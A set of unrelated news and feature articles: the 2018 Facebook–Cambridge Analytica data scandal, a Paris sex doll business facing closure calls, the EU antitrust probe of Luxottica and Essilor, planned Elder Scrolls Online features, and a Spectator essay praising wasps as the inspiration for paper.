"It's time for Mr. Zuckerberg and the other CEOs to testify before Congress," Sen. Mark Warner, the highest-ranking Democrat on the chamber's Intelligence Committee, said in a Twitter post on Tuesday. "The American people deserve answers about social media manipulation in the 2016 election."
It's time for Mr. Zuckerberg and the other CEOs to testify before Congress. The American people deserve answers about social media manipulation in the 2016 election. — Mark Warner (@MarkWarner) March 20, 2018
Facebook, whose digital platform is used by more than 1 billion people a day, dropped 2.6 percent to $168.15 at the close of regular New York trading on Tuesday, leaving the company with a market value of $492.6 billion. The stock, which pared earlier losses of as much as 6.2 percent, had already tumbled 6.8 percent on Monday.
Given election interference concerns and mounting data-privacy worries in Europe, "we look for Facebook to become more assertive about the mistakes it has made, the unintended actions that have occurred on the platform, and how it intends to fix them," said Brian Nowak, an analyst with investment bank Morgan Stanley.
Facebook said last week that Cambridge Analytica and its parent Strategic Communications Laboratories had been suspended after Facebook learned that the companies may not have deleted data improperly shared by Dr. Aleksandr Kogan, a University of Cambridge psychology professor who obtained it through his app, "thisisyourdigitallife," which used Facebook Login.
About 270,000 people downloaded the app, advertised as a research tool used by psychologists, giving their consent for Kogan to access information such as their location, content they had liked and limited data on friends whose privacy settings allowed access, Facebook said. Although Kogan obtained the information legitimately, using the same techniques as other app developers on Facebook at the time, he violated the company's policies by sharing it with SCL, Cambridge Analytica and Christopher Wylie of Eunoia Technologies, Facebook said.
Facebook demanded those parties destroy the data in 2015, when it learned what had happened, and each of the recipients said they had done so. This month, the company said, it learned that some of the data might have been kept.
"We are committed to vigorously enforcing our policies to protect people's information," Paul Grewal, Facebook's deputy general counsel, said in a statement. "We will take whatever steps are required to see that this happens. We will take legal action if necessary."
Cambridge Analytica, which was paid $5.9 million by the Trump campaign in the 2016 election and nearly that amount by the campaign of his Republican primary rival Ted Cruz, said it complies with all Facebook's rules and is working with the company to resolve its concerns as quickly as possible. Cambridge blamed the earlier issues on a contractor and promised to cooperate with the Information Commissioner's investigation.
Commissioner Elizabeth Denham said her office had asked Facebook to abandon its search of Cambridge Analytica premises because it could compromise the agency's "complex and far-reaching investigation." That probe, which includes the Facebook data, is evaluating how politicians, analytics companies and social-media platforms use the personal information of United Kingdom residents to target voters.
That's not the only challenge facing Cambridge. Its CEO, Alexander Nix, was suspended by the company's board on Tuesday after he was recorded telling an undercover reporter for BBC Channel 4 that the firm had expertise in using tapes of sexual encounters and too-good-to-be-true offers to damage politicians.
"Mr. Nix’s recent comments secretly recorded by Channel 4 and other allegations do not represent the values or operations of the firm, and his suspension reflects the seriousness with which we view this violation," the board said in a statement.
Nix had said in a statement the previous day that the firm's staff routinely used interviews with prospective clients to try to discover -- and avoid -- those who intended to violate the law, but admitted he misjudged the situation with the reporter.
“In playing along with this line of conversation, and partly to spare our ‘client’ from embarrassment, we entertained a series of ludicrous hypothetical scenarios," Nix said. "I am aware how this looks, but it is simply not the case."
In the U.S., the Federal Trade Commission said it's aware of the issues that have been raised regarding Facebook's data but declined to say whether it's investigating.
“We take any allegations of violations of our consent decrees very seriously," a spokesman said.
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Paris councillors are considering calls to close France’s first sex doll brothel Tuesday, following objections from feminist and left-wing groups.
Situated in an apartment in the French capital’s 14th arrondissement, Xdolls opened last month, offering clients a choice of four different Chinese-made silicon inflatable sex toys.
The business is legally registered as a games center, but critics object to it on the grounds that it is essentially a brothel, a business that's illegal under French law.
“It’s as if you go there to play pinball or table football,” Nicolas Bonnet Oulaldj, the Communist leader on the Paris council told Le Parisien.
Oulaldj has tabled a motion for the business to be closed, despite police who visited the premises determining that no law was being broken and it posed no threat to public order.
“Xdolls conveys a degrading image of the woman,” Oulaldj said.
Feminist group Mouvement du Nid (Nest Movement) agrees, arguing that the business promotes rape culture.
“Xdolls is not a sex shop. It's a place that generates money and where you rape a woman,” said spokeswoman Lorraine Questiaux.
“Can we in France approve a business that is based on the promotion of rape?”
Similar businesses have popped up in other European cities in recent years across Spain, Germany, England, the Netherlands and Austria. Xdolls’ owner, Joaquin Lousquy, has told French media that despite the opposition in Paris, he hopes to opens similar businesses elsewhere.
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BRUSSELS/MILAN (Reuters) - EU antitrust regulators will investigate whether the planned 46-billion-euro ($54 billion) merger of Italian eyewear maker Luxottica and French lens manufacturer Essilor could drive out rivals from the market or push up prices.
The European Commission opened a full-scale investigation on Tuesday, saying the deal involving the two companies, both top-ranked in their sectors, may reduce competition in ophthalmic lenses and eyewear.
The move came after Luxottica and Essilor declined to offer concessions in a preliminary review. Reuters reported on Sept. 11 that the competition enforcer had expressed worries about the deal to the companies.
The Commission said it would decide by Feb. 12 whether to clear the deal, but the two companies reaffirmed their goal of closing the merger at around the end of the year.
“Both companies ... will closely cooperate with the European Commission to fully demonstrate the rationale of the proposed combination,” they said in a joint statement.
A key regulatory concern is the possibility that the merged company might persuade opticians to buy eyewear and lenses as a package, leveraging on Luxottica’s strong brand portfolio which includes Ray Ban and Persol as well as licensed names such as Chanel and Armani.
Luciano Di Via, a partner at law firm Clifford Chance and head of antitrust affairs for Italy, said the Commission would seek to verify that Luxottica’s rivals retained full access to the lens market and Essilor’s competitors had full access to the market for frames.
“The final outcome will hinge to a large extent on concessions the two companies make to offset any foreclosure risks,” he said.
“Usually in situations such as this, behavioural remedies are requested, the Commission may demand commitments from the two companies in terms of commercial practices, a request to sell certain assets is more unlikely.”
The 95 billion-euro eyewear industry is seen expanding steadily as the world’s population age and awareness of sun damage grows among middle classes in emerging countries.
“Half of Europeans wear glasses and almost all of us will need vision correction one day,” European Competition Commissioner Margrethe Vestager said.
“We need to carefully assess whether the proposed merger would lead to higher prices or reduced choices for opticians and ultimately consumers.”
The merger has already been approved by the competition authorities in several countries including India, Japan, New Zealand. It still needs clearance in North America, the biggest market for both companies.
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Zenimax Online Studios has revealed a number of new features for The Elder Scrolls Online that are already in "active development."
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Most notably, TESO plans to introduce a "justice system" that allows players to steal from and kill NPCs - though expect to face consequences if you're caught.In the future, also expect new storylines and quests for the Thieves Guild and the Dark Brotherhood. Other major features in development include a system that will allow grouped players to see each other even when they're in different phases, armour-dyeing options, new veteran dungeons, spellcrafting, and more. Even Craglorn , the zone introduced in the first content patch, will receive a new region. You can check out the full list of planned additions and improvements over at the TESO blog "For most of these, we don’t know yet which update they’ll be in, but they’re under active development right now," Zenimax assures fans.On top of that, Zenimax says it's working on known bugs and its problem with bots . It's also been reading reviews from media and players alike - yes, even the bad reviews."The important thing for you, the community, to know is that we’re looking at ALL the feedback (from critics and from players), we’re addressing any shortcomings, and we’ll continue to do so.," Zenimax says. "This game will get better and better every week." IGN reviewed The Elder Scrolls Online well, though it lost some points for bugs. We recently revealed that Xbox One and PS4 versions of the MMO had been delayed
Katie Williams is a freelance writer and games journalist. She tweets at @desensitisation and hopes that one day, a bird will tweet back.
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Dom Perignon, Pimms, Carling Black Label, Coca-Cola — one’s as good as the other, so far as they’re concerned. Even if they don’t manage to drown in the stuff, they spoil the taste for drinkers by creating panic out of all proportion to their size. They destroy the ardour of al-fresco lovers in an instant. They are the joy-killers: the destroyers of summer, determined to prove that the wild world is a plot against humanity.
Is there anything good about wasps? Is their sole purpose in life to harass humans seeking the fleeting joys of summer? Does this black-and-yellow air force exist only to ruin the few fine days reluctantly given to us?
If you garden, wasps are among your best friends. The common wasp is a top predator — capturing more than 4 million prey-loads, weighing 7.2lb per acre, every season. Their favourite prey is aphids, rose-killers and tormentors of every gardener’s favourite plants.
Simon Barnes and Isabel Hardman discuss why we should be nicer to wasps:
Wasps also show many traits we humans admire: loyalty, hard work and sacrifice of the self to a greater cause. The hooliganism they go in for towards the end of the summer is not a fair representation of vespine mores. And more important even than this is the wasps’ contribution to human civilisation. Wasps are responsible for the greatest single shift in our cultural history: like the invention of the internet, but far more radical. If you are reading this in a hard copy, praise the wasps: they are responsible for The Spectator. They are also responsible for Ulysses, Hamlet, The Origin of Species, the Bible, the Quran and Hello! magazine. (Of which more later.) We owe them gratitude, not hard words and flapping hands.
We never see the best of wasps because of the way they act in late summer, when their labour is done. Before that they have led exemplary lives. There are nine species of social wasps in this country, including the much-feared but comparatively mild--mannered hornet, and they’re all honest toilers for most of their existence. Hornets can give a pretty fearsome sting, but you have to go out of your way to experience it. They come into the ancient category of ‘this animal is dangerous — it defends itself when attacked’.
The lives of social wasps are renewed each year when the queens emerge from hibernation in spring, already mated and sated and buzzing with fertility. They seek out a hidden place, an abandoned mammal hole or a crack in a wall or a tree, and build a nest. It will contain around 30 cells and they will lay an egg in each. That nest is highly significant.
When the queen has reared enough workers for the colony, she changes tactic. Now she can concentrate on egg-laying and building extensions to the nest: it’s up to the workers to tend the grubs and they perform their duties assiduously, hunting and feeding… occasionally coming into contact with humans in their search for the nectar and other high-energy food — like Dom Perignon — that they need for themselves.
There is a new generation about every fortnight and a nest can contain more than 5,000 individuals, all in black-and-yellow livery, a striking example of Mullerian mimicry — the tendency of dangerous creatures to resemble each other. It’s a universal warning; threat is always more economical than action.
Eventually, if all goes well, the queen will lay a generation of male drones and queens interested only in sex, though the successful queens will change their minds once they found colonies of their own. Meanwhile, the workers, often with their job in the hive largely done, have little left to do but binge, so out they come like rascals on the spree. All summer long, they were rewarded when they returned to the nest with prey by sugary secretions in the larvae. But when their queen is done — and dead — they are deprived of sugar. We should pity them, claims Paul Hetherington of the conservation charity Buglife, for ‘They are disenfranchised and unemployed addicts. If it’s your picnic they’ve chosen to raid to get their fix, that’s bad luck.’
Next time, perhaps, you can console yourself by considering the wasp’s significance in human culture. To make their nests, wasps chew wood, turn it into pulp and spit it out in a process that creates a structure of hexagonal cells: one of the most exquisite artefacts you can find in the natural world.
Each nest is a small miracle: how do they make it so perfect? How do they keep the walls so straight? How do they make one cell fit into another with such precision? How did the process begin? How long did it take to reach such a level of perfection? A wasp nest is a thing of breathless wonder, and long ago some clever man, staring at one in China, had a eureka moment. He thought: this is not a nest. It’s a letter, a memorandum, an IOU, a billet-doux, a note to the milkman, a contract, a prayer book, the instructions, wisdom, folly, poetry, information, beautiful thoughts and the meaning of life. This is paper.
It happened some time during the Han dynasty, which ended in 220 AD, and naturally the story has been much mythologised. The earliest known bit of paper has been dated between 179 and 41 BC. Paper then spread slowly into the Islamic world and eventually into Europe. Paper was established in Spain in the 12th century and they were manufacturing it in England by the 16th century: infinitely easier than parchment, infinitely cheaper, and not liable to turn back into rawhide when it got wet. So now we could have lots more books. We could transmit knowledge. We could have mass culture.
Wasps changed the way we humans act as a species, but we have seldom shown much gratitude, or for that matter much sense. We have created a series of chemicals that kill invertebrates, never thinking for a second that it’s actually quite a good idea to look after insects. In parts of China they’ve got rid of insects so efficiently that they have to pollinate their fruit trees by hand. Wasps are important pollinators.
Tony Juniper, in his excellent book What Nature Does for Britain, calculates that the services of pollinating insects are worth £400 million a year. It’s really high time we started loving the bloody things. Few people even study them. Their stings mean wasps are among the most under-researched of insects.
But above all, they are a buzzing example of the way we have failed to understand the world we live in. They are part of our past and our present. They created human civilisation and they continue to benefit us in myriad ways. And what’s true of wasps is true of many other living things across in the natural world — the world we recklessly believe is separate from our own.
So next time you encounter a wasp, raise your glass rather than this magazine to a creature that has given us humans so many benefits for 2,000 years and more.
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